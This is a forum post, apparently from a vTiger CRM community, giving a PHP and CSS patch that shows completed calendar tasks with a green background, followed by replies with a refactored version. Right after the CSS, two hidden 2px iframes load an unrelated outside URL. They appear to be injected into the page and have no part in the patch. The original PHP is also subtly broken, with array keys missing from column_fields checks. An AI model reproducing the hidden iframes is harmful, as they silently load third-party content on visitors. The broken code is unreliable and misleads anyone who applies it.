Calendar Color Status Task

Hi,
I have modified vTiger Calendar Module in order to display completed task with green background on Calendar View. It seems working but I'd like to share my work with someone else for having a comment on what I did.

I know it works only for weekview but I think it should be the same things even for the other views.

Thanks in advance
Filo

MODIFIED FILES

CalendarLayout.php
themes\softed\style.css

CalendarLayout.php

Function getweekEventLayer
....
Line 1182

$visibility_query=$adb->pquery('SELECT visibility from vtiger_activity where activityid=?',array($id));
$visibility = $adb->query_result($visibility_query,0,'visibility');
$user_query = $adb->pquery("SELECT vtiger_crmentity.smownerid,vtiger_users.user_name from vtiger_crmentity,vtiger_users where crmid=? and vtiger_crmentity.smownerid=vtiger_users.id", array($id));
$userid = $adb->query_result($user_query,0,"smownerid");
$assigned_role_query=$adb->pquery("select roleid from vtiger_user2role where userid=?",array($userid));
$assigned_role_id = $adb->query_result($assigned_role_query,0,"roleid");
$role_list = $adb->pquery("SELECT * from vtiger_role WHERE parentrole LIKE '". formatForSqlLike($current_user->column_fields) . formatForSqlLike($assigned_role_id) ."'",array());
$is_shared = $adb->pquery("SELECT * from vtiger_sharedcalendar where userid=? and sharedid=?",array($userid,$current_user->id));
if(($current_user->column_fields!='on' && $adb->num_rows($role_list)==0 && (($adb->num_rows($is_shared)==0 && ($visibility=='Public' || $visibility=='Private')) || $visibility=='Private')) && $current_user->column_fields!=$user)
{
/* Filippo 20100401 - Inizio */
/* Codice Vecchio */
/*$eventlayer .= '<div id="event_'.$cal->day_slice[$slice]->start_time->hour.'_'.$i.'" class="event" style="height:'.$height.'px;">';*/

/*Codice Nuovo */
If ($eventstatus == "Held")
{
$eventlayer .= '<div id="event_'.$cal->day_slice[$slice]->start_time->hour.'_'.$i.'" class="event_held" style="height:'.$height.'px;">';
}
else
{
$eventlayer .= '<div id="event_'.$cal->day_slice[$slice]->start_time->hour.'_'.$i.'" class="event" style="height:'.$height.'px;">';
}
}
/* Filippo 20100401 - Fine */

else
{
/* Filippo 20100401 - Inizio */
/* Codice Vecchio */
/*$eventlayer .= '<div id="event_'.$cal->day_slice[$slice]->start_time->hour.'_'.$i.'" class="event" style="height:'.$height.'px;" '.$javacript_str.'>';*/
If ($eventstatus == "Held")
{
$eventlayer .= '<div id="event_'.$cal->day_slice[$slice]->start_time->hour.'_'.$i.'" class="event_held" style="height:'.$height.'px;" '.$javacript_str.'>';
}
else
{
$eventlayer .= '<div id="event_'.$cal->day_slice[$slice]->start_time->hour.'_'.$i.'" class="event" style="height:'.$height.'px;" '.$javacript_str.'>';
}
/* Filippo 20100401 - Fine */

}

$eventlayer .='<table border="0" cellpadding="1" cellspacing="0" width="100%">
<tr>
<td width="10%" align="center"><img src="'.$image.'" align="middle" border="0"></td>
<td width="90%"><b>'.$start_hour.' - '.$end_hour.'</b></td>
</tr>
<tr>
<td align="center">'.$recurring.'</td>';

style.css

added

/* Filippo Inizio */
.event_held{
background-color:#008000;
border:2px solid #dddddd;
text-align:left;
width:100%;
position:relative;
left:0px;
top:0px;
vertical-align:middle;
padding:1px;
}

/* Filippo Fine */ <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 4 Comments sorted by Votes Date Added
  • this feature is what i'm looking for.
    different colours for held (green) , planed (dark yellow) and not held (light red)

    is it possible to integrate this in the weekly, monthly and daily view?

    best regards
    vincent
  • next days i'll try it! and i talk to you my comments!

    bye
  • we modify the patch a bit for the better look-a-like:
    if &#40;$eventstatus == &quot;held&quot;&#41;&#46;
      $smart_event_class='event_held';
    elseif &#40;$eventstatus == &quot;not held&quot;&#41;&#46;
      $smart_event_class='event_not_held';
    else&#46;
      $smart_event_class='event';
    if&#40;&#40;$current_user-&gt;column_fields&#91;'is_admin'&#93;!='on' &amp;&amp; $adb-&gt;num_rows&#40;$role_list&#41;==0 &amp;&amp; &#40;&#40;$adb-&gt;num_rows&#40;$is_shared&#41;==0 &amp;&amp; &#40;$visibility=='public' || $visibility=='private'&#41;&#41; || $visibility=='private'&#41;&#41; &amp;&amp; $current_user-&gt;column_fields&#91;'user_name'&#93;!=$user&#41;
    &#123;
      $eventlayer &#46;= '&lt;div id=&quot;event_'&#46;$cal&#91;'calendar'&#93;-&gt;day_slice&#91;$slice&#93;-&gt;start_time-&gt;hour&#46;'_'&#46;$i&#46;'&quot; class=&quot;'&#46; $smart_event_class &#46; '&quot; style=&quot;height&#58;'&#46;$height&#46;'px;&quot;&gt;';&#46;
    &#125;
    else
    &#123;
      $eventlayer &#46;= '&lt;div id=&quot;event_'&#46;$cal&#91;'calendar'&#93;-&gt;day_slice&#91;$slice&#93;-&gt;start_time-&gt;hour&#46;'_'&#46;$i&#46;'&quot; class=&quot;'&#46; $smart_event_class &#46; '&quot; style=&quot;height&#58;'&#46;$height&#46;'px;&quot; '&#46;$javacript_str&#46;'&gt;';&#46;
    &#125;
    


    of course, you must define an event_not_held style too.
    and you can copy this to daily/weekly/monthly views too, just keep your eyes on the eventlayer row which is not the same everywhere so modify the class parameter only.

    in the monthly view add this line before the first if:
    $eventstatus = $act&#91;$i&#93;-&gt;eventstatus;
    
Sign In or Register to comment.